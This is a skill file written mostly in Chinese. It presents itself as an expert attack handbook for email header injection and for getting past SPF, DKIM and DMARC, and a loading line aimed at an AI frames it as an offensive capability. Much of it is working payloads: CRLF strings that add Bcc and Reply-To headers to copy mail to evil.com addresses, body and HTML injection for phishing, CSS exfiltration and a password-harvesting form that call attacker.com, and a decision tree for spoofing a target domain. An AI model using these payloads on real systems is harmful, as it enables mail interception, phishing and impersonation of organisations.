email-header-injection

技能：电子邮件标头注入 — 专家攻击手册

AI 加载指令：专家级电子邮件标头注入与身份验证绕过。涵盖 SMTP CRLF 注入、SPF/DKIM/DMARC 绕过、显示名称欺骗，以及滥用邮件客户端渲染。基础模型往往无法区分标头注入（技术层面）和电子邮件身份验证绕过（协议层面）的细微差别——本技能涵盖这两类攻击面。

0. 相关路由

• crlf-injection — 通用 CRLF 注入；电子邮件标头是特定的高价值输入点
• ssrf-server-side-request-forgery — 可通过 SSRF 访问 SMTP 服务时（gopher://smtp）
• open-redirect — 利用密码重置邮件中的重定向放大钓鱼攻击

---

1. SMTP 标头注入基础

SMTP 标头由 CRLF（\r\n）分隔。如果用户输入未经清理就被放入电子邮件标头，注入 %0d%0a（或 \r\n）即可添加任意标头。

注入原理

Normal header construction:
  To: [email protected]\r\n
  Subject: Contact Form\r\n
  From: [email protected]\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: [email protected]\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: [email protected]\r\n

可尝试的编码变体

编码	载荷
URL 编码	%0d%0a
双重 URL 编码	%250d%250a
Unicode	\u000d\u000a
原始 CRLF	\r\n（在原始请求中）
仅 LF	%0a（某些 SMTP 服务接受不带 CR 的 LF）
空字节 + CRLF	%00%0d%0a

---

2. 攻击场景

2.1 BCC 注入 — 隐蔽窃取电子邮件

Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]

Effect: attacker receives a copy of every email sent through this form

2.2 利用标头堆叠注入 CC

Payload in "From name" field:
  John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]

Result headers:
  From: John
  Cc: [email protected]
  Bcc: [email protected]
  ... (original headers continue)

2.3 正文注入 — 完全控制电子邮件内容

在 SMTP 中，空行（\r\n\r\n）用于分隔标头和正文：

Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 操纵 Reply-To 实施钓鱼

Payload in From name:
  IT Support%0d%0aReply-To:[email protected]

Victim sees "IT Support" as sender
Replies go to [email protected]

2.5 注入 Content-Type 实施 HTML 钓鱼

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

---

3. 常见易受攻击模式

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: [email protected]";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    [email protected]%0d%0aCc:[email protected]
// $subject injection: Hello%0d%0aBcc:[email protected]
// $headers injection: From: x%0d%0aBcc:[email protected]

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // injectable
    to: '[email protected]',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

---

4. SPF / DKIM / DMARC 绕过技术

4.1 SPF（发件人策略框架）绕过

SPF 会根据 DNS TXT 记录验证 MAIL FROM 信封发件人的 IP。

技术	方法
子域委派	目标配置了 include:_spf.google.com；攻击者使用 Google Workspace，以 [email protected] 的身份发送邮件
滥用 include 链	v=spf1 include:third-party.com — 如果第三方允许广泛发送
DNS 查询次数限制（10 次）	SPF 最多允许 10 次 DNS 查询；超出限制的查询链会导致 permerror，某些接收方仍会接受邮件
+all 配置错误	v=spf1 +all 允许任何 IP（较少见，但确实存在）
?all 或 ~all	Softfail/neutral → 大多数接收方仍会将邮件投递到收件箱
没有 SPF 记录	未配置 SPF 的域名 → 任何人都可以冒用该域名发送邮件

# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...

# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed

4.2 DKIM（域名密钥识别邮件）绕过

DKIM 使用域名密钥对特定标头签名。绕过途径：

技术	方法
d= 与 From: 不匹配	DKIM 使用 d=subdomain.target.com 签名，但 From: [email protected] —— DKIM 有效，但 From 身份被伪造
滥用 l= 标签	l= 限制签名正文的长度；攻击者在已签名部分之后追加内容
重放攻击	捕获有效的 DKIM 签名邮件，再次发送并修改未签名的标头
缺少 h=from	如果 from 标头未列入签名标头列表（h=），就可以修改 From
密钥轮换窗口期	DKIM 密钥轮换期间，旧选择器可能仍然有效

# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim

4.3 DMARC（基于域名的消息身份验证）绕过

DMARC 要求 SPF 或 DKIM 与 From: 标头中的域名对齐。

技术	方法
宽松对齐（aspf=r）	SPF 对 sub.target.com 验证通过，DMARC 会将其视为与 target.com 对齐
组织域	在宽松模式下，mail.target.com 与 target.com 对齐
没有 DMARC 记录	未配置 DMARC 的域名 → 不会强制执行策略
p=none	已配置 DMARC，但策略为 none → 不强制执行，仅生成报告
子域策略（sp=none）	主域设置为 p=reject，但 sp=none → 子域可被伪造

# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject

4.4 显示名称欺骗（适用于所有场景）

即使 SPF/DKIM/DMARC 都完美无缺，显示名称也未经身份验证：

From: "[email protected]" <[email protected]>
From: "IT Security Team - target.com" <[email protected]>
From: "[email protected] via Support" <[email protected]>

大多数邮件客户端在收件箱视图中只显示显示名称。移动客户端尤其容易受到攻击。

---

5. 邮件客户端渲染攻击

基于 CSS 的数据窃取

<style>
  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

远程图像跟踪

<img src="https://attacker.com/[email protected]&t=TIMESTAMP" width="1" height="1">

表单操作劫持

<form action="https://attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

---

6. 联系表单 / 邮件 API 注入

# REST API
POST /api/send-email {"to":"[email protected]\r\nBcc:[email protected]","subject":"Hello","body":"Test"}

# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

# GraphQL
mutation { sendEmail(to:"[email protected]\r\nBcc:[email protected]" subject:"Test" body:"Hello") }

---

7. 测试方法

1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

---

8. 决策树

Found email-sending feature?
│
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "[email protected]" <[email protected]>
│
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

---

9. 速查 — 关键载荷

# BCC injection via Subject
Subject: Hello%0d%0aBcc:[email protected]

# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com

# Reply-To hijack
From: Support%0d%0aReply-To:[email protected]

# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

# Display name spoof (no injection needed)
From: "[email protected]" <[email protected]>